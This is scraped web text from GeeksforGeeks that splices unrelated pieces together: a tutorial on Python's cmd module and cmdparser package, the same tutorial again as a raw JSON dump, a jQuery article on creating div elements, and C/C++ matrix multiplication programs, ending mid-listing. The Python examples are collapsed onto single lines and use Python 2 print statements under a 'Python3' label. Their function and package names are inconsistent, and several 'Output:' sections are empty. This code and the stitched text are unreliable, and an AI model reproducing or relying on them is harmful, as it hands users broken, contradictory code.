The Class which provides a simple framework for writing line-oriented command interpreters is called cmd class. These are often useful for administrative tools, prototypes and test harnesses that will later be wrapped in a more sophisticated interface. The command-line interface can be easily made using the cmd Module.Graphical user interfaces are used so much in these days that a command-line interpreter seems antique. Command-line interface can have several advantages:
Command line interface is portable and can be run everywhere.
CPU and memory resources are far for cheaper than GUI interface.
It is easier to open the file with command line rather than getting into drivers and searching for menu.
It is far faster to create Text oriented documents.
The module defines only one class: the Cmd class. Command-line interpreter is created sub-classing the cmd.Cmd class. A Cmd instance or subclass instance can be considered as a line-oriented interpreter framework.
Create Command: The first part of a line of text entered at the interpreter prompt is a command. The longest string of characters contained in the identchars member is Command. Non accented letters, digits and the underscore symbol are default identchars. The end of the line is the command’s parameters.
Parameter: Only one extra parameter should be taken by do_xxx method and corresponds to the part of the string entered by the user after the command name.
Errors: Following format is used by the interpreter to signal errors:
*** :
Return Value: In the most common case: commands shouldn’t return a value. When you want to exit the interpreter loop any command that returns a true value stops the interpreter is an exception.Example:
Python3
def add(self, d): k = d.split() if len(k)!= 2: print "*** invalid number of arguments" return try: k = [int(i) for i in k] except ValueError: print "*** arguments should be numbers" return print k[0]+k[1]
The cmdparser package contains two modules that are useful for writing text command parsers. This module particularly uses the builtin Python cmd module. The package consists of two modules:
cmdparser.cmdparser
cmdparser.datetimeparse
We can install cmdparse package from PyPI.For example
pip install cmdparse
Cmd module allows creating parse tree from textual command specification like below
chips( spam | ham [eggs] | beans [eggs [...]] )
The particular command string can be checked using these parse trees. Also, it allows valid completion of partial command string to be listed.Example:
Python3
from cmdparser import cmdparser parse_tree = cmdparser.parse_spec("abc (def|ghi) <jkl> [mno]") # Returns None to indicate# successful parseparse_tree.check_match(("abc", "def", "anything")) # Returns an appropriate# parsing error messageparse_tree.check_match(("abc", "ghi", "anything", "pqr")) # Returns the list ["def", "ghi"]parse_tree.get_completions(("abc", ))
Output:
Dynamic tokens can be set up where the list of strings accepted can change over time, or where arbitrary strings or lists of strings can be accepted While dealing with a fixed token string. Check the module’s docstrings for specifics of the classes available, but as an example:
Python3
from cmdparser import cmdparser class fruitToken(cmdparser.Token): def get_values(self, context): # Static list here, but could # easily be dynamic return ["raspberry", "orange", "mango", "grapes", "apple", "banana"] def my_ident_factory(token): if token == "number": return cmdparser.IntegerToken(token) elif token == "fruit": return fruitToken(token) return None parse_tree = cmdparser.parse_tree("take <number> <fruit> bags", ident_factory = my_ident_factory) # Returns None to indicate successful# parse, and the "cmd_fields" dict will# be initialised as:# { "take": ["take"], "<number>": ["23"],# "<fruit>": ["apple"], "bags": ["bags"] }cmd_fields = {} parse_tree.check_match(("take", "23", "apple", "bags"), fields = cmd_fields) # Returns an appropriate# parsing error messageparse_tree.check_match(("take", "all", "raspberry", "bags")) # Returns the list ["raspberry",# "orange", "mango", ..., "banana"]parse_tree.get_completions(("take", "5"))
Output:
Four classes are available which are suitable base classes for user-derived tokens:
Token: When one of the sets of fix value is suitable, this is useful, where the list may be fixed or dynamic. The get_values() method should be overridden to return a list of valid tokens as strings.
Anytoken: It is similar to Token, but any string is to be expected. Validation can be performed via the validate() method, but validate() method doesn’t allow tab-completion as it’s only called once the entire command is parsed. There is also a convert() method should it be required
AnyTokenString: Similar to AnyToken but all remaining items on the command line are consumed.
Subtree: It matches the entire command subtree and stores the result against the specified token in the fields dictionary. The command specification string should be passed to the constructor, and type classes will override the convert() method and interpret the command in some way (although this is strictly optional).Decorators are present for use with command handlers derived from cmd.Cmd which allows command strings to be automatically extracted from docstring help text, and allowing command parsing and completion to be added to the command-handling methods of the class. Various methods of the form do_XXX() are implemented to implement the cmd.Cmd class.
Python3
from cmdparser import cmdparser @cmdparser.CmdClassDecorator()class CommandHandler(cmd.Cmd): @cmdparser.CmdMethodDecorator(): def do_command(self, args, fields): """command ( add | delete ) <name> The example explains the use of command to demonstrate use of the cmd decorators. """ # Method body - it will only be called # if a command parses successfully according # to the specification above.
Datetimeparse module adds specific token types to parse human-readable specifications of date and time. Absolute and relative both types of dates are specified and this is converted to other instances as appropriate. Some examples are
1:35 on friday last week
11 feb 2019
Classes currently defined are: DateSubtree: It includes the literal date (2020-03-14), days of the week related to current day (Saturday last week), descriptive version (26th june 2019), as well as yesterday, today and tomorrow along with parse calendar date. The return value is datetime.date instance. TimeSubtree: Time of day in 12 or 24-hour format is parsed by TimeSubtree. The returned value is as returned by time.localtime(). RelativeTimeSubtree: The returned value is an instance of cmdparser.DateDelta, which is a wrapper class containing a datetime.timedelta. It Parses phrases which indicate a time offset from the present time, such as 3 days and 2 hours ago. DateTimeSubtree: datetime.datetime instance is the returned value.DateTimeSubtree Parses specifications of a date and time, accepting either a combination of DateSubtree and TimeSubtree phrases, or a RelativeTimeSubtree phrase; in the latter case, the time is taken in relative to the current time. CLassCalenderPeriodSubtree: Parses specifications of calendar periods in the past. The returned value is a 2-tuple of datetime.date instances representing the range of dates specified, where the first date is inclusive and the second exclusive.
DateSubtree: It includes the literal date (2020-03-14), days of the week related to current day (Saturday last week), descriptive version (26th june 2019), as well as yesterday, today and tomorrow along with parse calendar date. The return value is datetime.date instance.
TimeSubtree: Time of day in 12 or 24-hour format is parsed by TimeSubtree. The returned value is as returned by time.localtime().
RelativeTimeSubtree: The returned value is an instance of cmdparser.DateDelta, which is a wrapper class containing a datetime.timedelta. It Parses phrases which indicate a time offset from the present time, such as 3 days and 2 hours ago.
DateTimeSubtree: datetime.datetime instance is the returned value.DateTimeSubtree Parses specifications of a date and time, accepting either a combination of DateSubtree and TimeSubtree phrases, or a RelativeTimeSubtree phrase; in the latter case, the time is taken in relative to the current time.
CLassCalenderPeriodSubtree: Parses specifications of calendar periods in the past. The returned value is a 2-tuple of datetime.date instances representing the range of dates specified, where the first date is inclusive and the second exclusive.
rkbhola5
python-modules
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Check if element exists in list in Python
How To Convert Python Dictionary To JSON?
Python Classes and Objects
How to drop one or multiple columns in Pandas Dataframe
Defaultdict in Python
Python | Get unique values from a list
Python | os.path.join() method
Create a directory in Python
Python | Pandas dataframe.groupby()
|
[
{
"code": null,
"e": 25537,
"s": 25509,
"text": "\n28 Feb, 2022"
},
{
"code": null,
"e": 26015,
"s": 25537,
"text": "The Class which provides a simple framework for writing line-oriented command interpreters is called cmd class. These are often useful for administrative tools, prototypes and test harnesses that will later be wrapped in a more sophisticated interface. The command-line interface can be easily made using the cmd Module.Graphical user interfaces are used so much in these days that a command-line interpreter seems antique. Command-line interface can have several advantages: "
},
{
"code": null,
"e": 26079,
"s": 26015,
"text": "Command line interface is portable and can be run everywhere. "
},
{
"code": null,
"e": 26146,
"s": 26079,
"text": "CPU and memory resources are far for cheaper than GUI interface. "
},
{
"code": null,
"e": 26253,
"s": 26146,
"text": "It is easier to open the file with command line rather than getting into drivers and searching for menu. "
},
{
"code": null,
"e": 26307,
"s": 26253,
"text": "It is far faster to create Text oriented documents. "
},
{
"code": null,
"e": 26525,
"s": 26309,
"text": "The module defines only one class: the Cmd class. Command-line interpreter is created sub-classing the cmd.Cmd class. A Cmd instance or subclass instance can be considered as a line-oriented interpreter framework. "
},
{
"code": null,
"e": 26832,
"s": 26525,
"text": "Create Command: The first part of a line of text entered at the interpreter prompt is a command. The longest string of characters contained in the identchars member is Command. Non accented letters, digits and the underscore symbol are default identchars. The end of the line is the command’s parameters. "
},
{
"code": null,
"e": 26989,
"s": 26832,
"text": "Parameter: Only one extra parameter should be taken by do_xxx method and corresponds to the part of the string entered by the user after the command name. "
},
{
"code": null,
"e": 27061,
"s": 26989,
"text": "Errors: Following format is used by the interpreter to signal errors: "
},
{
"code": null,
"e": 27068,
"s": 27061,
"text": "*** : "
},
{
"code": null,
"e": 27274,
"s": 27070,
"text": "Return Value: In the most common case: commands shouldn’t return a value. When you want to exit the interpreter loop any command that returns a true value stops the interpreter is an exception.Example: "
},
{
"code": null,
"e": 27282,
"s": 27274,
"text": "Python3"
},
{
"code": "def add(self, d): k = d.split() if len(k)!= 2: print \"*** invalid number of arguments\" return try: k = [int(i) for i in k] except ValueError: print \"*** arguments should be numbers\" return print k[0]+k[1]",
"e": 27532,
"s": 27282,
"text": null
},
{
"code": null,
"e": 27728,
"s": 27536,
"text": "The cmdparser package contains two modules that are useful for writing text command parsers. This module particularly uses the builtin Python cmd module. The package consists of two modules: "
},
{
"code": null,
"e": 27750,
"s": 27728,
"text": "cmdparser.cmdparser "
},
{
"code": null,
"e": 27776,
"s": 27750,
"text": "cmdparser.datetimeparse "
},
{
"code": null,
"e": 27834,
"s": 27778,
"text": "We can install cmdparse package from PyPI.For example "
},
{
"code": null,
"e": 27855,
"s": 27834,
"text": "pip install cmdparse"
},
{
"code": null,
"e": 27943,
"s": 27857,
"text": "Cmd module allows creating parse tree from textual command specification like below "
},
{
"code": null,
"e": 27991,
"s": 27943,
"text": "chips( spam | ham [eggs] | beans [eggs [...]] )"
},
{
"code": null,
"e": 28143,
"s": 27991,
"text": "The particular command string can be checked using these parse trees. Also, it allows valid completion of partial command string to be listed.Example: "
},
{
"code": null,
"e": 28151,
"s": 28143,
"text": "Python3"
},
{
"code": "from cmdparser import cmdparser parse_tree = cmdparser.parse_spec(\"abc (def|ghi) <jkl> [mno]\") # Returns None to indicate# successful parseparse_tree.check_match((\"abc\", \"def\", \"anything\")) # Returns an appropriate# parsing error messageparse_tree.check_match((\"abc\", \"ghi\", \"anything\", \"pqr\")) # Returns the list [\"def\", \"ghi\"]parse_tree.get_completions((\"abc\", ))",
"e": 28517,
"s": 28151,
"text": null
},
{
"code": null,
"e": 28526,
"s": 28517,
"text": "Output: "
},
{
"code": null,
"e": 28806,
"s": 28526,
"text": "Dynamic tokens can be set up where the list of strings accepted can change over time, or where arbitrary strings or lists of strings can be accepted While dealing with a fixed token string. Check the module’s docstrings for specifics of the classes available, but as an example: "
},
{
"code": null,
"e": 28814,
"s": 28806,
"text": "Python3"
},
{
"code": "from cmdparser import cmdparser class fruitToken(cmdparser.Token): def get_values(self, context): # Static list here, but could # easily be dynamic return [\"raspberry\", \"orange\", \"mango\", \"grapes\", \"apple\", \"banana\"] def my_ident_factory(token): if token == \"number\": return cmdparser.IntegerToken(token) elif token == \"fruit\": return fruitToken(token) return None parse_tree = cmdparser.parse_tree(\"take <number> <fruit> bags\", ident_factory = my_ident_factory) # Returns None to indicate successful# parse, and the \"cmd_fields\" dict will# be initialised as:# { \"take\": [\"take\"], \"<number>\": [\"23\"],# \"<fruit>\": [\"apple\"], \"bags\": [\"bags\"] }cmd_fields = {} parse_tree.check_match((\"take\", \"23\", \"apple\", \"bags\"), fields = cmd_fields) # Returns an appropriate# parsing error messageparse_tree.check_match((\"take\", \"all\", \"raspberry\", \"bags\")) # Returns the list [\"raspberry\",# \"orange\", \"mango\", ..., \"banana\"]parse_tree.get_completions((\"take\", \"5\"))",
"e": 29952,
"s": 28814,
"text": null
},
{
"code": null,
"e": 29961,
"s": 29952,
"text": "Output: "
},
{
"code": null,
"e": 30047,
"s": 29961,
"text": "Four classes are available which are suitable base classes for user-derived tokens: "
},
{
"code": null,
"e": 30249,
"s": 30047,
"text": "Token: When one of the sets of fix value is suitable, this is useful, where the list may be fixed or dynamic. The get_values() method should be overridden to return a list of valid tokens as strings. "
},
{
"code": null,
"e": 30535,
"s": 30249,
"text": "Anytoken: It is similar to Token, but any string is to be expected. Validation can be performed via the validate() method, but validate() method doesn’t allow tab-completion as it’s only called once the entire command is parsed. There is also a convert() method should it be required "
},
{
"code": null,
"e": 30631,
"s": 30535,
"text": "AnyTokenString: Similar to AnyToken but all remaining items on the command line are consumed. "
},
{
"code": null,
"e": 31298,
"s": 30631,
"text": "Subtree: It matches the entire command subtree and stores the result against the specified token in the fields dictionary. The command specification string should be passed to the constructor, and type classes will override the convert() method and interpret the command in some way (although this is strictly optional).Decorators are present for use with command handlers derived from cmd.Cmd which allows command strings to be automatically extracted from docstring help text, and allowing command parsing and completion to be added to the command-handling methods of the class. Various methods of the form do_XXX() are implemented to implement the cmd.Cmd class. "
},
{
"code": null,
"e": 31306,
"s": 31298,
"text": "Python3"
},
{
"code": "from cmdparser import cmdparser @cmdparser.CmdClassDecorator()class CommandHandler(cmd.Cmd): @cmdparser.CmdMethodDecorator(): def do_command(self, args, fields): \"\"\"command ( add | delete ) <name> The example explains the use of command to demonstrate use of the cmd decorators. \"\"\" # Method body - it will only be called # if a command parses successfully according # to the specification above.",
"e": 31768,
"s": 31306,
"text": null
},
{
"code": null,
"e": 32007,
"s": 31770,
"text": "Datetimeparse module adds specific token types to parse human-readable specifications of date and time. Absolute and relative both types of dates are specified and this is converted to other instances as appropriate. Some examples are "
},
{
"code": null,
"e": 32044,
"s": 32007,
"text": "1:35 on friday last week\n11 feb 2019"
},
{
"code": null,
"e": 33267,
"s": 32044,
"text": "Classes currently defined are: DateSubtree: It includes the literal date (2020-03-14), days of the week related to current day (Saturday last week), descriptive version (26th june 2019), as well as yesterday, today and tomorrow along with parse calendar date. The return value is datetime.date instance. TimeSubtree: Time of day in 12 or 24-hour format is parsed by TimeSubtree. The returned value is as returned by time.localtime(). RelativeTimeSubtree: The returned value is an instance of cmdparser.DateDelta, which is a wrapper class containing a datetime.timedelta. It Parses phrases which indicate a time offset from the present time, such as 3 days and 2 hours ago. DateTimeSubtree: datetime.datetime instance is the returned value.DateTimeSubtree Parses specifications of a date and time, accepting either a combination of DateSubtree and TimeSubtree phrases, or a RelativeTimeSubtree phrase; in the latter case, the time is taken in relative to the current time. CLassCalenderPeriodSubtree: Parses specifications of calendar periods in the past. The returned value is a 2-tuple of datetime.date instances representing the range of dates specified, where the first date is inclusive and the second exclusive. "
},
{
"code": null,
"e": 33542,
"s": 33267,
"text": "DateSubtree: It includes the literal date (2020-03-14), days of the week related to current day (Saturday last week), descriptive version (26th june 2019), as well as yesterday, today and tomorrow along with parse calendar date. The return value is datetime.date instance. "
},
{
"code": null,
"e": 33674,
"s": 33542,
"text": "TimeSubtree: Time of day in 12 or 24-hour format is parsed by TimeSubtree. The returned value is as returned by time.localtime(). "
},
{
"code": null,
"e": 33915,
"s": 33674,
"text": "RelativeTimeSubtree: The returned value is an instance of cmdparser.DateDelta, which is a wrapper class containing a datetime.timedelta. It Parses phrases which indicate a time offset from the present time, such as 3 days and 2 hours ago. "
},
{
"code": null,
"e": 34216,
"s": 33915,
"text": "DateTimeSubtree: datetime.datetime instance is the returned value.DateTimeSubtree Parses specifications of a date and time, accepting either a combination of DateSubtree and TimeSubtree phrases, or a RelativeTimeSubtree phrase; in the latter case, the time is taken in relative to the current time. "
},
{
"code": null,
"e": 34463,
"s": 34216,
"text": "CLassCalenderPeriodSubtree: Parses specifications of calendar periods in the past. The returned value is a 2-tuple of datetime.date instances representing the range of dates specified, where the first date is inclusive and the second exclusive. "
},
{
"code": null,
"e": 34472,
"s": 34463,
"text": "rkbhola5"
},
{
"code": null,
"e": 34487,
"s": 34472,
"text": "python-modules"
},
{
"code": null,
"e": 34494,
"s": 34487,
"text": "Python"
},
{
"code": null,
"e": 34592,
"s": 34494,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 34624,
"s": 34592,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 34666,
"s": 34624,
"text": "Check if element exists in list in Python"
},
{
"code": null,
"e": 34708,
"s": 34666,
"text": "How To Convert Python Dictionary To JSON?"
},
{
"code": null,
"e": 34735,
"s": 34708,
"text": "Python Classes and Objects"
},
{
"code": null,
"e": 34791,
"s": 34735,
"text": "How to drop one or multiple columns in Pandas Dataframe"
},
{
"code": null,
"e": 34813,
"s": 34791,
"text": "Defaultdict in Python"
},
{
"code": null,
"e": 34852,
"s": 34813,
"text": "Python | Get unique values from a list"
},
{
"code": null,
"e": 34883,
"s": 34852,
"text": "Python | os.path.join() method"
},
{
"code": null,
"e": 34912,
"s": 34883,
"text": "Create a directory in Python"
}
] |
How to create a div element in jQuery ? - GeeksforGeeks
|
17 Jul, 2019
There are various method to create HTML element inside an HTML document using JQuery. But the simplest of all is append() and prepend() method.
Method 1: Using prepend() Method: The prepend() method is used to insert a specified content at the beginning of the selected element.
Example: This example uses prepend() method to create div element at the beginning of selected element.
<!DOCTYPE html><html> <head> <title>Create div element</title> <script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"> </script> <!-- Script to add div element in the HTML document --> <script> $(document).ready(function() { // Select the element inside div // element will be added $("body") .prepend('<div class="added">This is added div </div>'); }); </script> <!-- Style to use on div element --> <style> div { padding: 20px; margin-bottom: 10px; border: 1px solid green; display: inline-block; } </style></head> <body> <div class="initial"> This is initial div </div></html>
Output:
Method 2: Using appendTo() Method: The appendTo() method in jQuery is used to insert HTML element at the end of the selected element.
Example 1: This example uses appendTo() method to create div element at the end of selected element.
<!DOCTYPE html><html> <head> <title>Create div element</title> <script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"> </script> <!-- Script to add div element at the end of document --> <script> $(document).ready(function() { $("<div>This is another added div</div>").appendTo("body"); }); </script> <!-- Style to use on div element --> <style> div{ padding: 20px; margin-bottom: 10px; border: 1px solid green; display: inline-block; } </style></head> <body> <div class="initial"> This is initial div </div></body> </html>
Output:
Example 2: This example uses appendTo() method to create div element within the div element.
<!DOCTYPE html><html> <head> <title>Create div element</title> <script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"> </script> <!-- Script to create div element --> <script> $(document).ready(function() { jQuery("<div/>", { id: "div-id", class: "div-class", text: "This is text of div" }).appendTo(".box"); }); </script> <!-- Style to add on div element --> <style> div { padding: 20px; margin-bottom: 10px; border: 1px solid green; display: inline-block; } </style></head> <body> <div class="initial"> This is initial div </div> <div class="box"></div></body> </html>
Output:
Shivam_k
Picked
JQuery
Web Technologies
Web technologies Questions
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Form validation using jQuery
How to Dynamically Add/Remove Table Rows using jQuery ?
Scroll to the top of the page using JavaScript/jQuery
jQuery | children() with Examples
How to Show and Hide div elements using radio buttons?
Remove elements from a JavaScript Array
Installation of Node.js on Linux
Convert a string to an integer in JavaScript
How to fetch data from an API in ReactJS ?
Top 10 Projects For Beginners To Practice HTML and CSS Skills
|
[
{
"code": null,
"e": 26234,
"s": 26206,
"text": "\n17 Jul, 2019"
},
{
"code": null,
"e": 26378,
"s": 26234,
"text": "There are various method to create HTML element inside an HTML document using JQuery. But the simplest of all is append() and prepend() method."
},
{
"code": null,
"e": 26513,
"s": 26378,
"text": "Method 1: Using prepend() Method: The prepend() method is used to insert a specified content at the beginning of the selected element."
},
{
"code": null,
"e": 26617,
"s": 26513,
"text": "Example: This example uses prepend() method to create div element at the beginning of selected element."
},
{
"code": "<!DOCTYPE html><html> <head> <title>Create div element</title> <script src=\" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js\"> </script> <!-- Script to add div element in the HTML document --> <script> $(document).ready(function() { // Select the element inside div // element will be added $(\"body\") .prepend('<div class=\"added\">This is added div </div>'); }); </script> <!-- Style to use on div element --> <style> div { padding: 20px; margin-bottom: 10px; border: 1px solid green; display: inline-block; } </style></head> <body> <div class=\"initial\"> This is initial div </div></html> ",
"e": 27448,
"s": 26617,
"text": null
},
{
"code": null,
"e": 27456,
"s": 27448,
"text": "Output:"
},
{
"code": null,
"e": 27590,
"s": 27456,
"text": "Method 2: Using appendTo() Method: The appendTo() method in jQuery is used to insert HTML element at the end of the selected element."
},
{
"code": null,
"e": 27691,
"s": 27590,
"text": "Example 1: This example uses appendTo() method to create div element at the end of selected element."
},
{
"code": "<!DOCTYPE html><html> <head> <title>Create div element</title> <script src=\" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js\"> </script> <!-- Script to add div element at the end of document --> <script> $(document).ready(function() { $(\"<div>This is another added div</div>\").appendTo(\"body\"); }); </script> <!-- Style to use on div element --> <style> div{ padding: 20px; margin-bottom: 10px; border: 1px solid green; display: inline-block; } </style></head> <body> <div class=\"initial\"> This is initial div </div></body> </html> ",
"e": 28406,
"s": 27691,
"text": null
},
{
"code": null,
"e": 28414,
"s": 28406,
"text": "Output:"
},
{
"code": null,
"e": 28507,
"s": 28414,
"text": "Example 2: This example uses appendTo() method to create div element within the div element."
},
{
"code": "<!DOCTYPE html><html> <head> <title>Create div element</title> <script src=\" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js\"> </script> <!-- Script to create div element --> <script> $(document).ready(function() { jQuery(\"<div/>\", { id: \"div-id\", class: \"div-class\", text: \"This is text of div\" }).appendTo(\".box\"); }); </script> <!-- Style to add on div element --> <style> div { padding: 20px; margin-bottom: 10px; border: 1px solid green; display: inline-block; } </style></head> <body> <div class=\"initial\"> This is initial div </div> <div class=\"box\"></div></body> </html> ",
"e": 29338,
"s": 28507,
"text": null
},
{
"code": null,
"e": 29346,
"s": 29338,
"text": "Output:"
},
{
"code": null,
"e": 29355,
"s": 29346,
"text": "Shivam_k"
},
{
"code": null,
"e": 29362,
"s": 29355,
"text": "Picked"
},
{
"code": null,
"e": 29369,
"s": 29362,
"text": "JQuery"
},
{
"code": null,
"e": 29386,
"s": 29369,
"text": "Web Technologies"
},
{
"code": null,
"e": 29413,
"s": 29386,
"text": "Web technologies Questions"
},
{
"code": null,
"e": 29511,
"s": 29413,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 29540,
"s": 29511,
"text": "Form validation using jQuery"
},
{
"code": null,
"e": 29596,
"s": 29540,
"text": "How to Dynamically Add/Remove Table Rows using jQuery ?"
},
{
"code": null,
"e": 29650,
"s": 29596,
"text": "Scroll to the top of the page using JavaScript/jQuery"
},
{
"code": null,
"e": 29684,
"s": 29650,
"text": "jQuery | children() with Examples"
},
{
"code": null,
"e": 29739,
"s": 29684,
"text": "How to Show and Hide div elements using radio buttons?"
},
{
"code": null,
"e": 29779,
"s": 29739,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 29812,
"s": 29779,
"text": "Installation of Node.js on Linux"
},
{
"code": null,
"e": 29857,
"s": 29812,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 29900,
"s": 29857,
"text": "How to fetch data from an API in ReactJS ?"
}
] |
Program to multiply two matrices - GeeksforGeeks
|
02 Mar, 2022
Given two matrices, the task to multiply them. Matrices can either be square or rectangular.
Examples:
(Square Matrix Multiplication)
Input : mat1[m][n] = {
{1, 1},
{2, 2}
}
mat2[n][p] = {
{1, 1},
{2, 2}
}
Output : result[m][p] = {
{3, 3},
{6, 6}
}
(Rectangular Matrix Multiplication)
Input : mat1[3][2] = {
{1, 1},
{2, 2},
{3, 3}
}
mat2[2][3] = {
{1, 1, 1},
{2, 2, 2}
}
Output : result[3][3] = {
{3, 3, 3},
{6, 6, 6},
{9, 9, 9}
}
Multiplication of two Square or Rectangular Matrices:
This program can multiply any two square or rectangular matrices.
The below program multiplies two square matrices of size 4 * 4.
There is also an example of a rectangular matrix for the same code (commented below).
We can change the Matrix value with the number of rows and columns (from MACROs) for Matrix-1 and Matrix-2 for different dimensions.
Note: i- The number of columns in Matrix-1 must be equal to the number of rows in Matrix-2.
ii- Output of multiplication of Matrix-1 and Matrix-2, results with equal to the number of rows of Matrix-1 and
the number of columns of Matrix-2 i.e. rslt[R1][C2].
C++
C
/* * This C++ program can multiply any two square or rectangular matrices. * The below program multiplies two square matrices of size 4 * 4. * There is also an example of a rectangular matrix for the same code (commented below). * We can change the Matrix value with the number of rows and columns (from MACROs) for Matrix-1 * and Matrix-2 for different dimensions. */ /* * Note: i- The number of columns in Matrix-1 must be equal to the number of rows in Matrix-2. * ii- Output of multiplication of Matrix-1 and Matrix-2, results with equal to the number * of rows of Matrix-1 and the number of columns of Matrix-2 i.e. rslt[R1][C2]. */ #include <iostream> using namespace std; // Edit MACROs here, according to your Matrix Dimensions for mat1[R1][C1] and mat2[R2][C2]#define R1 4 // number of rows in Matrix-1#define C1 4 // number of columns in Matrix-1#define R2 4 // number of rows in Matrix-2#define C2 4 // number of columns in Matrix-2 void mulMat(int mat1[][C1], int mat2[][C2]) { int rslt[R1][C2]; cout << "Multiplication of given two matrices is:\n" << endl; for (int i = 0; i < R1; i++) { for (int j = 0; j < C2; j++) { rslt[i][j] = 0; for (int k = 0; k < R2; k++) { rslt[i][j] += mat1[i][k] * mat2[k][j]; } cout << rslt[i][j] << "\t"; } cout << endl; }} int main(void) { // Square Matrices // R1 = 4, C1 = 4 and R2 = 4, C2 = 4 (Update these values in MACROs) int mat1[R1][C1] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3}, {4, 4, 4, 4} }; int mat2[R2][C2] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3}, {4, 4, 4, 4} }; /* // Rectangular Matrices // R1 = 3, C1 = 4 and R2 = 4, C2 = 3 (Update these values in MACROs) int mat1[R1][C1] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3} }; int mat2[R2][C2] = { {1, 1, 1}, {2, 2, 2}, {3, 3, 3}, {4, 4, 4} }; */ if (C1 != R2) { cout << "The number of columns in Matrix-1 must be equal to the number of rows in " "Matrix-2" << endl; cout << "Please update MACROs according to your array dimension in #define section" << endl; exit(EXIT_FAILURE); } mulMat(mat1, mat2); return 0;} // This code is contributed by Manish Kumar (mkumar2789)
/* * This C program can multiply any two square or rectangular matrices. * The below program multiplies two square matrices of size 4 * 4. * There is also an example of a rectangular matrix for the same code (commented below). * We can change the Matrix value with the number of rows and columns (from MACROs) for Matrix-1 * and Matrix-2 for different dimensions. */ /* * Note: i- The number of columns in Matrix-1 must be equal to the number of rows in Matrix-2. * ii- Output of multiplication of Matrix-1 and Matrix-2, results with equal to the number * of rows of Matrix-1 and the number of columns of Matrix-2 i.e. rslt[R1][C2]. */ #include <stdio.h>#include <stdlib.h> // Edit MACROs here, according to your Matrix Dimensions for mat1[R1][C1] and mat2[R2][C2]#define R1 4 // number of rows in Matrix-1#define C1 4 // number of columns in Matrix-1#define R2 4 // number of rows in Matrix-2#define C2 4 // number of columns in Matrix-2 void mulMat(int mat1[][C1], int mat2[][C2]) { int rslt[R1][C2]; printf("Multiplication of given two matrices is:\n\n"); for (int i = 0; i < R1; i++) { for (int j = 0; j < C2; j++) { rslt[i][j] = 0; for (int k = 0; k < R2; k++) { rslt[i][j] += mat1[i][k] * mat2[k][j]; } printf("%d\t", rslt[i][j]); } printf("\n"); }} int main(void) { // Square Matrices // R1 = 4, C1 = 4 and R2 = 4, C2 = 4 (Update these values in MACROs) int mat1[R1][C1] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3}, {4, 4, 4, 4} }; int mat2[R2][C2] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3}, {4, 4, 4, 4} }; /* // Rectangular Matrices // R1 = 3, C1 = 4 and R2 = 4, C2 = 3 (Update these values in MACROs) int mat1[R1][C1] = { {1, 1, 1, 1}, {2, 2, 2, 2}, {3, 3, 3, 3} }; int mat2[R2][C2] = { {1, 1, 1}, {2, 2, 2}, {3, 3, 3}, {4, 4, 4} }; */ if (C1 != R2) { printf("The number of columns in Matrix-1 must be equal to the number of rows in " "Matrix-2\n"); printf("Please update MACROs value according to your array dimension in " "#define section\n"); exit(EXIT_FAILURE); } mulMat(mat1, mat2); return 0;} // This code is contributed by Manish Kumar (mkumar2789)
Multiplication of given two matrices is:
10 10 10 10
20 20 20 20
30 30 30 30
40 40 40 40
Multiplication of Square Matrices : The below program multiplies two square matrices of size 4*4, we can change N for different dimensions.
C++
C
Java
Python3
C#
PHP
Javascript
// C++ program to multiply// two square matrices.#include <iostream> using namespace std; #define N 4 // This function multiplies// mat1[][] and mat2[][], and// stores the result in res[][]void multiply(int mat1[][N], int mat2[][N], int res[][N]){ int i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i][j] = 0; for (k = 0; k < N; k++) res[i][j] += mat1[i][k] * mat2[k][j]; } }} // Driver Codeint main(){ int i, j; int res[N][N]; // To store result int mat1[N][N] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int mat2[N][N] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; multiply(mat1, mat2, res); cout << "Result matrix is \n"; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) cout << res[i][j] << " "; cout << "\n"; } return 0;} // This code is contributed// by Soumik Mondal
// C program to multiply two square matrices.#include <stdio.h>#define N 4 // This function multiplies mat1[][] and mat2[][],// and stores the result in res[][]void multiply(int mat1[][N], int mat2[][N], int res[][N]){ int i, j, k; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { res[i][j] = 0; for (k = 0; k < N; k++) res[i][j] += mat1[i][k] * mat2[k][j]; } }} int main(){ int mat1[N][N] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int mat2[N][N] = { { 1, 1, 1, 1 }, { 2, 2, 2, 2 }, { 3, 3, 3, 3 }, { 4, 4, 4, 4 } }; int res[N][N]; // To store result int i, j; multiply(mat1, mat2, res); printf("Result matrix is \n"); for (i = 0; i < N; i++) { for (j = 0; j < N; j++) printf("%d ", res[i][j]); printf("\n"); } return 0;}
